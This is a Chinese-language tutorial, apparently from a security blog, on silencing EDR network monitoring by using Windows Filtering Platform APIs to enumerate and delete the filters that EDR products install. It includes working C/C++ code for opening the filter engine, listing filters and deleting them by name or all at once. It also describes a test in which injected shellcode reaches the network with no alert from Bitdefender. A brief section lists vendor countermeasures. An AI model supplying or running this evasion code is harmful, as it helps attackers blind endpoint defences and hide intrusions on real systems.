EDR监测遭遇滑铁卢?无驱动技术让你轻松突破EDR!
字数 1429 2025-08-24 07:48:09

无驱动技术突破EDR监测的教学文档

1. 背景与原理

1.1 EDR监测现状

现代EDR(终端检测与响应)系统对驱动层面的防护日益严密,传统通过漏洞驱动终止EDR进程或移除回调函数的方法已逐渐失效。本文介绍一种无需依赖驱动即可绕过EDR网络监测的技术。

1.2 技术原理

本技术基于Windows Filtering Platform(WFP)框架,通过创建流量过滤规则阻断EDR进程对外发送的流量,使EDR无法上报分析信息和日志。关键点:

  • 仅针对EDR的流量监测模块
  • 只需管理员权限,无需驱动
  • 不会触发EDR告警(前提是操作未被发现)

2. WFP技术详解

2.1 WFP架构

WFP是Windows用于取代TDI和NDIS的开发框架,由以下核心组件组成:

组件 功能描述
Filter Engine 核心过滤引擎,处理各种协议层的过滤器
Base Filtering Engine 服务组件,管理过滤器和配置
Filter 具体过滤规则,包含条件和行为
Provider 管理多个Filter的实体
Shim 内核模式流量采集组件
Callouts 捕获目标流量时执行的回调函数
API 开发WFP应用的函数集

2.2 WFP工作流程

  1. Shim采集网络栈各层流量
  2. Filter Engine根据策略决定放行或阻断
  3. 匹配的Filter触发Callouts执行特定操作

3. 技术实现步骤

3.1 总体思路

通过删除EDR在WFP中设置的所有Filter,使其失去流量监测能力:

  1. EDR依赖用户层WFP实现流量监测
  2. 管理员权限可完全控制用户层WFP
  3. 删除Filter后EDR无法监测网络流量
  4. EDR其他功能不受影响,仍保持在线状态

3.2 具体实现代码

3.2.1 打开FWP引擎

if (FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine) != 0) {
    printf("[-]Failed to open filter engine.\n");
    exit(1);
}

3.2.2 枚举所有Filter

DWORD res = 0;
HANDLE hEnum = nullptr;
FWPM_FILTER0** ppFilters = nullptr;
UINT32 numFilter = 0;

res = FwpmFilterCreateEnumHandle0(hEngine, NULL, &hEnum);
if (res != 0) {
    printf("[-]Failed to create enum handle.Error code: 0x%x\n", res);
    FwpmEngineClose0(hEngine);
    exit(1);
}

res = FwpmFilterEnum0(hEngine, hEnum, 0x500, &ppFilters, &numFilter);
if (res != 0) {
    printf("[-]Failed to enum filters.Error code: 0x%x\n", res);
    FwpmEngineClose0(hEngine);
    exit(1);
}

3.2.3 删除目标Filter

void DeleteFilter(HANDLE hEngine, std::wstring target, FWPM_FILTER0** ppFilters, UINT32 numFilter) {
    DWORD res = 0;
    bool bDeleted = false;
    
    for (UINT32 i = 0; i < numFilter; i++) {
        std::wstring filterName = ppFilters[i]->displayData.name;
        
        if (target != L"all") {
            if (filterName.find(target) != std::wstring::npos) {
                res = FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
                if (res != 0) {
                    printf("[-]Failed to delete filter: [%ls].Error code: 0x%x\n", 
                          ppFilters[i]->displayData.name, res);
                }
                printf("[+]%ls filter has been deleted.\n", ppFilters[i]->displayData.name);
                bDeleted = true;
            }
        }
        else {
            res = FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
            if (res != 0) {
                printf("[-]Failed to delete filter: [%ls].Error code: 0x%x\n", 
                      ppFilters[i]->displayData.name, res);
            }
            printf("[+]%ls filter has been deleted.\n", ppFilters[i]->displayData.name);
        }
    }
    
    if (bDeleted == false) printf("[-]Nothing has been deleted.\n");
}

4. 效果验证

4.1 删除前状态

  1. 注入器成功注入未触发告警
  2. Shellcode执行网络请求时被拦截
  3. EDR管理台立即收到告警

4.2 删除后状态

  1. 列举并删除EDR相关Filter(如Bitdefender)
  2. 使用相同样本注入并执行Shellcode
  3. 成功完成网络请求且无告警
  4. 可选:删除所有Filter(保留系统关键Filter)

5. 技术限制

  1. 仅对依赖用户层WFP实现流量监测的EDR有效
  2. 对使用ETW从内核监测流量的EDR无效
  3. 需要管理员权限执行
  4. EDR其他防护模块仍保持功能

6. 防御建议

针对此类无驱动绕过技术,EDR厂商可采取以下防护措施:

  1. 间歇性检查Filter状态
  2. 监控WFP相关API调用
  3. 补充内核ETW流量监测功能
  4. 实现Filter自动恢复机制

7. 总结

本技术通过WFP框架实现对EDR流量监测模块的致盲,具有以下特点:

  • 无驱动:不依赖漏洞驱动,规避传统检测
  • 隐蔽性:不终止EDR进程,保持在线状态
  • 有效性:经测试对多家EDR产品有效
  • 持久性:重启前EDR不会恢复Filter

8. 参考文献

  1. Microsoft WFP官方文档: https://learn.microsoft.com/zh-cn/windows/win32/fwp/windows-filtering-platform-start-page
  2. EDRSilencer项目参考
无驱动技术突破EDR监测的教学文档 1. 背景与原理 1.1 EDR监测现状 现代EDR(终端检测与响应)系统对驱动层面的防护日益严密,传统通过漏洞驱动终止EDR进程或移除回调函数的方法已逐渐失效。本文介绍一种无需依赖驱动即可绕过EDR网络监测的技术。 1.2 技术原理 本技术基于Windows Filtering Platform(WFP)框架,通过创建流量过滤规则阻断EDR进程对外发送的流量,使EDR无法上报分析信息和日志。关键点: 仅针对EDR的流量监测模块 只需管理员权限,无需驱动 不会触发EDR告警(前提是操作未被发现) 2. WFP技术详解 2.1 WFP架构 WFP是Windows用于取代TDI和NDIS的开发框架,由以下核心组件组成: | 组件 | 功能描述 | |------|----------| | Filter Engine | 核心过滤引擎,处理各种协议层的过滤器 | | Base Filtering Engine | 服务组件,管理过滤器和配置 | | Filter | 具体过滤规则,包含条件和行为 | | Provider | 管理多个Filter的实体 | | Shim | 内核模式流量采集组件 | | Callouts | 捕获目标流量时执行的回调函数 | | API | 开发WFP应用的函数集 | 2.2 WFP工作流程 Shim采集网络栈各层流量 Filter Engine根据策略决定放行或阻断 匹配的Filter触发Callouts执行特定操作 3. 技术实现步骤 3.1 总体思路 通过删除EDR在WFP中设置的所有Filter,使其失去流量监测能力: EDR依赖用户层WFP实现流量监测 管理员权限可完全控制用户层WFP 删除Filter后EDR无法监测网络流量 EDR其他功能不受影响,仍保持在线状态 3.2 具体实现代码 3.2.1 打开FWP引擎 3.2.2 枚举所有Filter 3.2.3 删除目标Filter 4. 效果验证 4.1 删除前状态 注入器成功注入未触发告警 Shellcode执行网络请求时被拦截 EDR管理台立即收到告警 4.2 删除后状态 列举并删除EDR相关Filter(如Bitdefender) 使用相同样本注入并执行Shellcode 成功完成网络请求且无告警 可选:删除所有Filter(保留系统关键Filter) 5. 技术限制 仅对依赖用户层WFP实现流量监测的EDR有效 对使用ETW从内核监测流量的EDR无效 需要管理员权限执行 EDR其他防护模块仍保持功能 6. 防御建议 针对此类无驱动绕过技术,EDR厂商可采取以下防护措施: 间歇性检查Filter状态 监控WFP相关API调用 补充内核ETW流量监测功能 实现Filter自动恢复机制 7. 总结 本技术通过WFP框架实现对EDR流量监测模块的致盲,具有以下特点: 无驱动:不依赖漏洞驱动,规避传统检测 隐蔽性:不终止EDR进程,保持在线状态 有效性:经测试对多家EDR产品有效 持久性:重启前EDR不会恢复Filter 8. 参考文献 Microsoft WFP官方文档: https://learn.microsoft.com/zh-cn/windows/win32/fwp/windows-filtering-platform-start-page EDRSilencer项目参考